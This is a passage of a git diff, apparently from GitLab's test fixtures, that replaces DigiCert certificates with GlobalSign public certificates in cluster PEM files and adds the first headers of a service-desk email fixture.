-1OG9d4Q3A84ytciagRpKkk47RpqF/oOi+Z6Mo8wNXrM9zwR4jxQUezKcxwCmXMS1
-oVWNWlZopCJwqjyBcdmdqEU79OX2olHdx3ti6G8MdOu42vi/hw15UJGQmxg7kVkn
-8TUoE6smftX3eg==
+MIIExTCCA62gAwIBAgIQeimFGrf0XWZ5UGZBtv/XHTANBgkqhkiG9w0BAQsFADBM
+MSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xv
+YmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjAeFw0yMTA2MTYxMjAwMDBaFw0y
+NDA2MTYwMDAwMDBaMFgxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWdu
+IG52LXNhMS4wLAYDVQQDEyVHbG9iYWxTaWduIEF0bGFzIFIzIERWIFRMUyBDQSBI
+MiAyMDIxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1JTAQMj+QUYF
+3d9X5eOWFOphbB6GpHE3J0uvUXcQwxnd8Jz26aQCE1ZYxJFEc2WmsxuVeVXU+rZj
+7+MYD7Mg72bhuiwUdwRGRN4a2N122LfIQlTFlHu/fwcNqYX/fe3phvZt9upnH4oJ
+aLBbay+t+HPPC4em74x2WKaIl31ZXzgzllLomnlLISLOKiQe1rEHp4yy3/yE2a4G
+1l/lprA49dcyM/oylm9Bbkum2F4C+EOjHgTAoDVJrJpdWvPj0CU+HkmftujfFp4S
+55LECSr2TfJt7xjgR3eLUx12nlpoauWEzZ0/i6OIDPfbmqcksw4ani/YO07LbRM6
+cY9VZzkAvwIDAQABo4IBlTCCAZEwDgYDVR0PAQH/BAQDAgGGMB0GA1UdJQQWMBQG
+CCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1UdDgQW
+BBQqNLmq+r88iPFH8tISeL7F5aqwaTAfBgNVHSMEGDAWgBSP8Et/qC5FJK5NUPpj
+move4t0bvDB7BggrBgEFBQcBAQRvMG0wLgYIKwYBBQUHMAGGImh0dHA6Ly9vY3Nw
+Mi5nbG9iYWxzaWduLmNvbS9yb290cjMwOwYIKwYBBQUHMAKGL2h0dHA6Ly9zZWN1
+cmUuZ2xvYmFsc2lnbi5jb20vY2FjZXJ0L3Jvb3QtcjMuY3J0MDYGA1UdHwQvMC0w
+K6ApoCeGJWh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vcm9vdC1yMy5jcmwwVwYD
+VR0gBFAwTjAIBgZngQwBAgEwQgYKKwYBBAGgMgoBAzA0MDIGCCsGAQUFBwIBFiZo
+dHRwczovL3d3dy5nbG9iYWxzaWduLmNvbS9yZXBvc2l0b3J5LzANBgkqhkiG9w0B
+AQsFAAOCAQEAEsIwXEhdAfoUGaKAnYfVI7zsOY7Sx8bpC/obGxXa4Kyu8CVx+TtT
+g8WmKNF7+I7C51NZEmhvb8UDI1G9ny7iYIRDajQD5AeZowbfC69aHQSI9LiOeAZb
+YaRDJfWps9redPwoaC0iT5R4xLOnWwCtmIho1bv/YG3pMAvaQ+qn04kuUvWO7LEp
+u7FdHmx1DdgkefcqYgN/rAZ8E39S9VxWV+64PNUDey8vkAIH8FCTxbWiITty6dsH
+SulKQ9pSa93k9PHTf+di08mMQBq5WBWTiFeMYZEWyE/z7NHdU3eLMZjq6y/nKlF9
+nywrToh4AgdZK6JnbU+lqbNiexJbaBoA3w==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
-MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
-ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL
-MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
-LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug
-RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm
-+9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW
-PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM
-xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB
-Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3
-hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg
-EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF
-MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA
-FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec
-nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z
-eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF
-hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2
-Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
-vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep
-+OkuE6N36B9K
+MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G
+A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp
+Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4
+MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG
+A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8
+RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT
+gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm
+KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd
+QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ
+XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw
+DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o
+LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU
+RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp
+jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK
+6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX
+mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs
+Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH
+WD9f
-----END CERTIFICATE-----
diff --git a/spec/fixtures/clusters/intermediate_certificate.pem b/spec/fixtures/clusters/intermediate_certificate.pem
index 8a81175b746..21bada73564 100644
--- a/spec/fixtures/clusters/intermediate_certificate.pem
+++ b/spec/fixtures/clusters/intermediate_certificate.pem
@@ -1,28 +1,28 @@
-----BEGIN CERTIFICATE-----
-MIIEtjCCA56gAwIBAgIQDHmpRLCMEZUgkmFf4msdgzANBgkqhkiG9w0BAQsFADBs
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
-ZSBFViBSb290IENBMB4XDTEzMTAyMjEyMDAwMFoXDTI4MTAyMjEyMDAwMFowdTEL
-MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
-LmRpZ2ljZXJ0LmNvbTE0MDIGA1UEAxMrRGlnaUNlcnQgU0hBMiBFeHRlbmRlZCBW
-YWxpZGF0aW9uIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
-ggEBANdTpARR+JmmFkhLZyeqk0nQOe0MsLAAh/FnKIaFjI5j2ryxQDji0/XspQUY
-uD0+xZkXMuwYjPrxDKZkIYXLBxA0sFKIKx9om9KxjxKws9LniB8f7zh3VFNfgHk/
-LhqqqB5LKw2rt2O5Nbd9FLxZS99RStKh4gzikIKHaq7q12TWmFXo/a8aUGxUvBHy
-/Urynbt/DvTVvo4WiRJV2MBxNO723C3sxIclho3YIeSwTQyJ3DkmF93215SF2AQh
-cJ1vb/9cuhnhRctWVyh+HA1BV6q3uCe7seT6Ku8hI3UarS2bhjWMnHe1c63YlC3k
-8wyd7sFOYn4XwHGeLN7x+RAoGTMCAwEAAaOCAUkwggFFMBIGA1UdEwEB/wQIMAYB
-Af8CAQAwDgYDVR0PAQH/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEF
-BQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRp
-Z2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2Vy
-dC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2
-MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5j
-b20vQ1BTMB0GA1UdDgQWBBQ901Cl1qCt7vNKYApl0yHU+PjWDzAfBgNVHSMEGDAW
-gBSxPsNpA/i/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAnbbQkIbh
-hgLtxaDwNBx0wY12zIYKqPBKikLWP8ipTa18CK3mtlC4ohpNiAexKSHc59rGPCHg
-4xFJcKx6HQGkyhE6V6t9VypAdP3THYUYUN9XR3WhfVUgLkc3UHKMf4Ib0mKPLQNa
-2sPIoc4sUqIAY+tzunHISScjl2SFnjgOrWNoPLpSgVh5oywM395t6zHyuqB8bPEs
-1OG9d4Q3A84ytciagRpKkk47RpqF/oOi+Z6Mo8wNXrM9zwR4jxQUezKcxwCmXMS1
-oVWNWlZopCJwqjyBcdmdqEU79OX2olHdx3ti6G8MdOu42vi/hw15UJGQmxg7kVkn
-8TUoE6smftX3eg==
+MIIExTCCA62gAwIBAgIQeimFGrf0XWZ5UGZBtv/XHTANBgkqhkiG9w0BAQsFADBM
+MSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xv
+YmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjAeFw0yMTA2MTYxMjAwMDBaFw0y
+NDA2MTYwMDAwMDBaMFgxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWdu
+IG52LXNhMS4wLAYDVQQDEyVHbG9iYWxTaWduIEF0bGFzIFIzIERWIFRMUyBDQSBI
+MiAyMDIxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1JTAQMj+QUYF
+3d9X5eOWFOphbB6GpHE3J0uvUXcQwxnd8Jz26aQCE1ZYxJFEc2WmsxuVeVXU+rZj
+7+MYD7Mg72bhuiwUdwRGRN4a2N122LfIQlTFlHu/fwcNqYX/fe3phvZt9upnH4oJ
+aLBbay+t+HPPC4em74x2WKaIl31ZXzgzllLomnlLISLOKiQe1rEHp4yy3/yE2a4G
+1l/lprA49dcyM/oylm9Bbkum2F4C+EOjHgTAoDVJrJpdWvPj0CU+HkmftujfFp4S
+55LECSr2TfJt7xjgR3eLUx12nlpoauWEzZ0/i6OIDPfbmqcksw4ani/YO07LbRM6
+cY9VZzkAvwIDAQABo4IBlTCCAZEwDgYDVR0PAQH/BAQDAgGGMB0GA1UdJQQWMBQG
+CCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1UdDgQW
+BBQqNLmq+r88iPFH8tISeL7F5aqwaTAfBgNVHSMEGDAWgBSP8Et/qC5FJK5NUPpj
+move4t0bvDB7BggrBgEFBQcBAQRvMG0wLgYIKwYBBQUHMAGGImh0dHA6Ly9vY3Nw
+Mi5nbG9iYWxzaWduLmNvbS9yb290cjMwOwYIKwYBBQUHMAKGL2h0dHA6Ly9zZWN1
+cmUuZ2xvYmFsc2lnbi5jb20vY2FjZXJ0L3Jvb3QtcjMuY3J0MDYGA1UdHwQvMC0w
+K6ApoCeGJWh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vcm9vdC1yMy5jcmwwVwYD
+VR0gBFAwTjAIBgZngQwBAgEwQgYKKwYBBAGgMgoBAzA0MDIGCCsGAQUFBwIBFiZo
+dHRwczovL3d3dy5nbG9iYWxzaWduLmNvbS9yZXBvc2l0b3J5LzANBgkqhkiG9w0B
+AQsFAAOCAQEAEsIwXEhdAfoUGaKAnYfVI7zsOY7Sx8bpC/obGxXa4Kyu8CVx+TtT
+g8WmKNF7+I7C51NZEmhvb8UDI1G9ny7iYIRDajQD5AeZowbfC69aHQSI9LiOeAZb
+YaRDJfWps9redPwoaC0iT5R4xLOnWwCtmIho1bv/YG3pMAvaQ+qn04kuUvWO7LEp
+u7FdHmx1DdgkefcqYgN/rAZ8E39S9VxWV+64PNUDey8vkAIH8FCTxbWiITty6dsH
+SulKQ9pSa93k9PHTf+di08mMQBq5WBWTiFeMYZEWyE/z7NHdU3eLMZjq6y/nKlF9
+nywrToh4AgdZK6JnbU+lqbNiexJbaBoA3w==
-----END CERTIFICATE-----
diff --git a/spec/fixtures/clusters/leaf_certificate.pem b/spec/fixtures/clusters/leaf_certificate.pem
new file mode 100644
index 00000000000..aecb3fc8d4b
--- /dev/null
+++ b/spec/fixtures/clusters/leaf_certificate.pem
@@ -0,0 +1,37 @@
+-----BEGIN CERTIFICATE-----
+MIIGYzCCBUugAwIBAgIQAaQHyOeT/PBR4ioLKYneZDANBgkqhkiG9w0BAQsFADBY
+MQswCQYDVQQGEwJCRTEZMBcGA1UEChMQR2xvYmFsU2lnbiBudi1zYTEuMCwGA1UE
+AxMlR2xvYmFsU2lnbiBBdGxhcyBSMyBEViBUTFMgQ0EgSDIgMjAyMTAeFw0yMTEw
+MTgxODUwMDRaFw0yMjExMTkxODUwMDNaMBsxGTAXBgNVBAMMEGFib3V0LmdpdGxh
+Yi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDWSo0eziN/0lq5
+dIcS7ZceJw2odzZeT0tRkcKEW8iagNul6JetrFlk6h5lxoLEu35+MK6/fWHNmt7u
+eQk7HS0uRipskAzeGrL1Hvk8EjIcHXXTxpRu7JqWOu7ZSXwNxW5cqn7L9/N2gYwt
+Jg/sfkv9AFQiNOdKrarKfbcBstxmra6rQbh5ggLG5UBT23N4ZrA3XnzvEx3+GjtO
+u/a5izbk7FQP3gyXKyfm/SQRpNsytYa9jJqu5Hmyzfap5KaueOJbtJEOk8dR/HWR
+i/gmAUevq62MNxorYbz8YU/P1468tS7iORkD31Tc2QWCMQSPya5qGaCGnz7dVgWy
+E1xTPbBXAgMBAAGjggNkMIIDYDAbBgNVHREEFDASghBhYm91dC5naXRsYWIuY29t
+MA4GA1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIw
+HQYDVR0OBBYEFJFVruwpjWeUfGJXl3m5grAjhAwPMFcGA1UdIARQME4wCAYGZ4EM
+AQIBMEIGCisGAQQBoDIKAQMwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly93d3cuZ2xv
+YmFsc2lnbi5jb20vcmVwb3NpdG9yeS8wDAYDVR0TAQH/BAIwADCBngYIKwYBBQUH
+AQEEgZEwgY4wQAYIKwYBBQUHMAGGNGh0dHA6Ly9vY3NwLmdsb2JhbHNpZ24uY29t
+L2NhL2dzYXRsYXNyM2R2dGxzY2FoMjIwMjEwSgYIKwYBBQUHMAKGPmh0dHA6Ly9z
+ZWN1cmUuZ2xvYmFsc2lnbi5jb20vY2FjZXJ0L2dzYXRsYXNyM2R2dGxzY2FoMjIw
+MjEuY3J0MB8GA1UdIwQYMBaAFCo0uar6vzyI8Ufy0hJ4vsXlqrBpMEgGA1UdHwRB
+MD8wPaA7oDmGN2h0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vY2EvZ3NhdGxhc3Iz
+ZHZ0bHNjYWgyMjAyMS5jcmwwggF+BgorBgEEAdZ5AgQCBIIBbgSCAWoBaAB3AG9T
+dqwx8DEZ2JkApFEV/3cVHBHZAsEAKQaNsgiaN9kTAAABfJS9R5YAAAQDAEgwRgIh
+AOOZmc41vB2ICwkwEB5Bmpm/X8UHfjbxwrCXEdeRmO+qAiEAg/JugZIrG2PeV4bA
+Gm6rry7HUfB954bQJ4p0PeQVmwsAdABGpVXrdfqRIDC1oolp9PN9ESxBdL79SbiF
+q/L8cP5tRwAAAXyUvUeOAAAEAwBFMEMCHyRAiTz2fZ8DuQF6hrVP+IMTCPBtjB3D
+m4naI8tC/foCIDXFCRIYjRb00CFI6piLYGihRy+GYF5nMQhQ9uE6hltzAHcAUaOw
+9f0BeZxWbbg3eI8MpHrMGyfL956IQpoN/tSLBeUAAAF8lL1ICgAABAMASDBGAiEA
+5d/bXb9TPZWhwSH8GGji/LDFL6OJnZtOV94sBaDiFgMCIQCtl00oCRMFFnqsvBo6
+SRtnDqJkEHYBS12I4LyC+D1onjANBgkqhkiG9w0BAQsFAAOCAQEAE5xcno79J+Ec
+DIPJKnJCugKiM7yKjCjCp/63osCbRC+jUwRyXBIe/oTdY3geKwDOQAvyEeJPSWP1
+LbNp0l3yHbYXfsYl/NMTrJpjrJrrRO5BxG/d3IPwXIlcZrrdDSoGfGYIF9N23iqB
+in15L7B+PodTl8/mSQZTjbLoecPvl+AOcLyStcWCKYQUlQb3x4UV3R4Z1ukwGbBC
+cDbTR2XOSJzA9ECJcxKnWjQRQUc54pdG3pt13Wu2dVapX5sWZpV05rga3bBDjCqw
+DcfKuYbOChm2i6CQ578lAntPTIS02EkGFHrmYxrIAvlhGksHpJNJtRoff1KkQKni
+r8emWp7D2Q==
+-----END CERTIFICATE-----
diff --git a/spec/fixtures/clusters/root_certificate.pem b/spec/fixtures/clusters/root_certificate.pem
index 40107bd837d..8afb219058f 100644
--- a/spec/fixtures/clusters/root_certificate.pem
+++ b/spec/fixtures/clusters/root_certificate.pem
@@ -1,49 +1,21 @@
-----BEGIN CERTIFICATE-----
-MIIItjCCB56gAwIBAgIQCu5Ga1hR41iahM0SWhyeNjANBgkqhkiG9w0BAQsFADB1
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMTQwMgYDVQQDEytEaWdpQ2VydCBTSEEyIEV4dGVuZGVk
-IFZhbGlkYXRpb24gU2VydmVyIENBMB4XDTE5MTIwNDAwMDAwMFoXDTIxMTIwODEy
-MDAwMFowgb0xHTAbBgNVBA8MFFByaXZhdGUgT3JnYW5pemF0aW9uMRMwEQYLKwYB
-BAGCNzwCAQMTAlVTMRUwEwYLKwYBBAGCNzwCAQITBFV0YWgxFTATBgNVBAUTDDUy
-OTk1MzctMDE0MjELMAkGA1UEBhMCVVMxDTALBgNVBAgTBFV0YWgxDTALBgNVBAcT
-BExlaGkxFzAVBgNVBAoTDkRpZ2lDZXJ0LCBJbmMuMRUwEwYDVQQDEwxkaWdpY2Vy
-dC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDAeRYb/RLbljGZ
-IB//DrEdyKYMQqqaJwBlrr3t2paAWNuDJizvVkTMIzdJesI1pA58Myenxp5Dp8GJ
-u/VhBf//v/HAZHUE4xwu104Fg6A1BwUEKgVKERf+7kTt17Lf9fcMIjMyL+FeyPXb
-DOFbH+ej/nYaneFLch2j2xWZg1+Thk0qBlGE8WWAK+fvbEuM0SOeH9RkYFCNGPRS
-KsLn0GvaCnnD4LfNDyMqYop0IpaqXoREEnkRv1MVSOw+hBj497wnnO+/GZegfzwU
-iS60h+PjlDfmdCP18qOS7tRd0qnfU3N3S+PYEd3R63LMcIfbgXNEEWBNKpiH9+8f
-eXq6bXKPAgMBAAGjggT3MIIE8zAfBgNVHSMEGDAWgBQ901Cl1qCt7vNKYApl0yHU
-+PjWDzAdBgNVHQ4EFgQUTx0XO7HqD5DOhwlm2p+70uYPBmgwggGjBgNVHREEggGa
-MIIBloIMZGlnaWNlcnQuY29tggl0aGF3dGUuZGWCC2ZyZWVzc2wuY29tggxyYXBp
-ZHNzbC5jb22CDGdlb3RydXN0LmNvbYIJdGhhd3RlLmZyggp0aGF3dGUuY29tghB3
-d3cucmFwaWRzc2wuY29tghB3d3cuZ2VvdHJ1c3QuY29tgg13d3cudGhhd3RlLmZy
-gg13d3cudGhhd3RlLmRlgg53d3cudGhhd3RlLmNvbYIQd3d3LmRpZ2ljZXJ0LmNv
-bYIYa2ItaW50ZXJuYWwuZGlnaWNlcnQuY29tghprbm93bGVkZ2ViYXNlLmRpZ2lj
-ZXJ0LmNvbYIWa25vd2xlZGdlLmRpZ2ljZXJ0LmNvbYIPa2guZGlnaWNlcnQuY29t
-ghlrbm93bGVkZ2VodWIuZGlnaWNlcnQuY29tghh3ZWJzZWN1cml0eS5kaWdpY2Vy
-dC5jb22CFGNvbnRlbnQuZGlnaWNlcnQuY29tgg93d3cuZnJlZXNzbC5jb22CHHd3
-dy53ZWJzZWN1cml0eS5kaWdpY2VydC5jb20wDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
-JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjB1BgNVHR8EbjBsMDSgMqAwhi5odHRw
-Oi8vY3JsMy5kaWdpY2VydC5jb20vc2hhMi1ldi1zZXJ2ZXItZzIuY3JsMDSgMqAw
-hi5odHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hhMi1ldi1zZXJ2ZXItZzIuY3Js
-MEsGA1UdIAREMEIwNwYJYIZIAYb9bAIBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v
-d3d3LmRpZ2ljZXJ0LmNvbS9DUFMwBwYFZ4EMAQEwgYgGCCsGAQUFBwEBBHwwejAk
-BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMFIGCCsGAQUFBzAC
-hkZodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyRXh0ZW5k
-ZWRWYWxpZGF0aW9uU2VydmVyQ0EuY3J0MAwGA1UdEwEB/wQCMAAwggF8BgorBgEE
-AdZ5AgQCBIIBbASCAWgBZgB1AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7I
-DdwQAAABbtLkOs4AAAQDAEYwRAIgQ7gh393PInhYfPOhg/lF9yZNRdvjBeufFoG8
-VnBuPNMCIBP8YGC83ig5ttw3ipSRjH0bKj4Ak5O4rynoql9Dy8x3AHYAVhQGmi/X
-wuzT9eG9RLI+x0Z2ubyZEVzA75SYVdaJ0N0AAAFu0uQ7VgAABAMARzBFAiEAhzE7
-1c48wn3s/30IB4WgxfpLburH0Ku8cchv8QeqcgACIBrWpUlDD18AOfkPCOcB2kWU
-vRXsdptVm3jPeU5TtDSoAHUAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e
-0YUAAAFu0uQ60gAABAMARjBEAiBBpH5m7ntGKFTOFgSLcFXRDg66xJqerMy0gOHj
-4TIBYAIgfFABPNy6P61hjiOWwjq73lvoEdAyh18GeFHIp0BgsWEwDQYJKoZIhvcN
-AQELBQADggEBAInaSEqteyQA1zUKiXVqgffhHKZsUq9UnMows6X+UoFPoby9xqm6
-IaY/77zaFZYwXJlP/SvrlbgTLHAdir3y38uhAlfPX4iRuwggOpFFF5hqDckzCm91
-ocGnoG6sUY5mOqKu2vIcZkUQDe+K5gOxI6ME/4YwzWCIcTmBPQ6NQmqiFLPoQty1
-gdbGCcLQNFCuNq4n5OK2NmBjcbtyT4gglat7C4+KV8RkEubZ+MkXzyDkpEXjjzsK
-7iuNB0hRgyyhGzHrlZ/l0OLoT0Cb4I5PzzRSseFEyPKCC1WSF7aE9rFfUqhpqSAT
-7NV7SEijYyFFtuZfz9RGglcqnRlAfgTy+tU=
+MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G
+A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp
+Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4
+MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG
+A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8
+RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT
+gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm
+KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd
+QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ
+XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw
+DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o
+LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU
+RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp
+jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK
+6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX
+mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs
+Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH
+WD9f
-----END CERTIFICATE-----
diff --git a/spec/fixtures/emails/service_desk_custom_address_envelope_to.eml b/spec/fixtures/emails/service_desk_custom_address_envelope_to.eml
new file mode 100644
index 00000000000..ae8f3598a13
--- /dev/null
+++ b/spec/fixtures/emails/service_desk_custom_address_envelope_to.eml
@@ -0,0 +1,24 @@
+Envelope-To: support+project_slug-project_key@example.com
+Return-Path: <alan@adventuretime.ooo>
+Received: from iceking.adventuretime.ooo ([unix socket]) by iceking (Cyrus v2.2.13-Debian-2.2.13-19+squeeze3) with LMTPA; Thu, 13 Jun 2013 17:03:50 -0400
+Received: from mail-ie0-x234.google.com (mail-ie0-x234.google.com [IPv6:2607:f8b0:4001:c03::234]) by iceking.adventuretime.ooo (8.14.3/8.14.3/Debian-9.4) with ESMTP id r5DL3nFJ016967 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for <incoming+gitlabhq/gitlabhq@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 17:03:50 -0400
+Received: by mail-ie0-f180.google.com with SMTP id f4so21977375iea.25 for <incoming+email-test-project_id-issue-@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 14:03:48 -0700
+Received: by 10.0.0.1 with HTTP; Thu, 13 Jun 2013 14:03:48 -0700
+Date: Thu, 13 Jun 2013 17:03:48 -0400
+From: Jake the Dog <alan@adventuretime.ooo>
+To: support@example.com
+Message-ID: <CAH_Wr+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
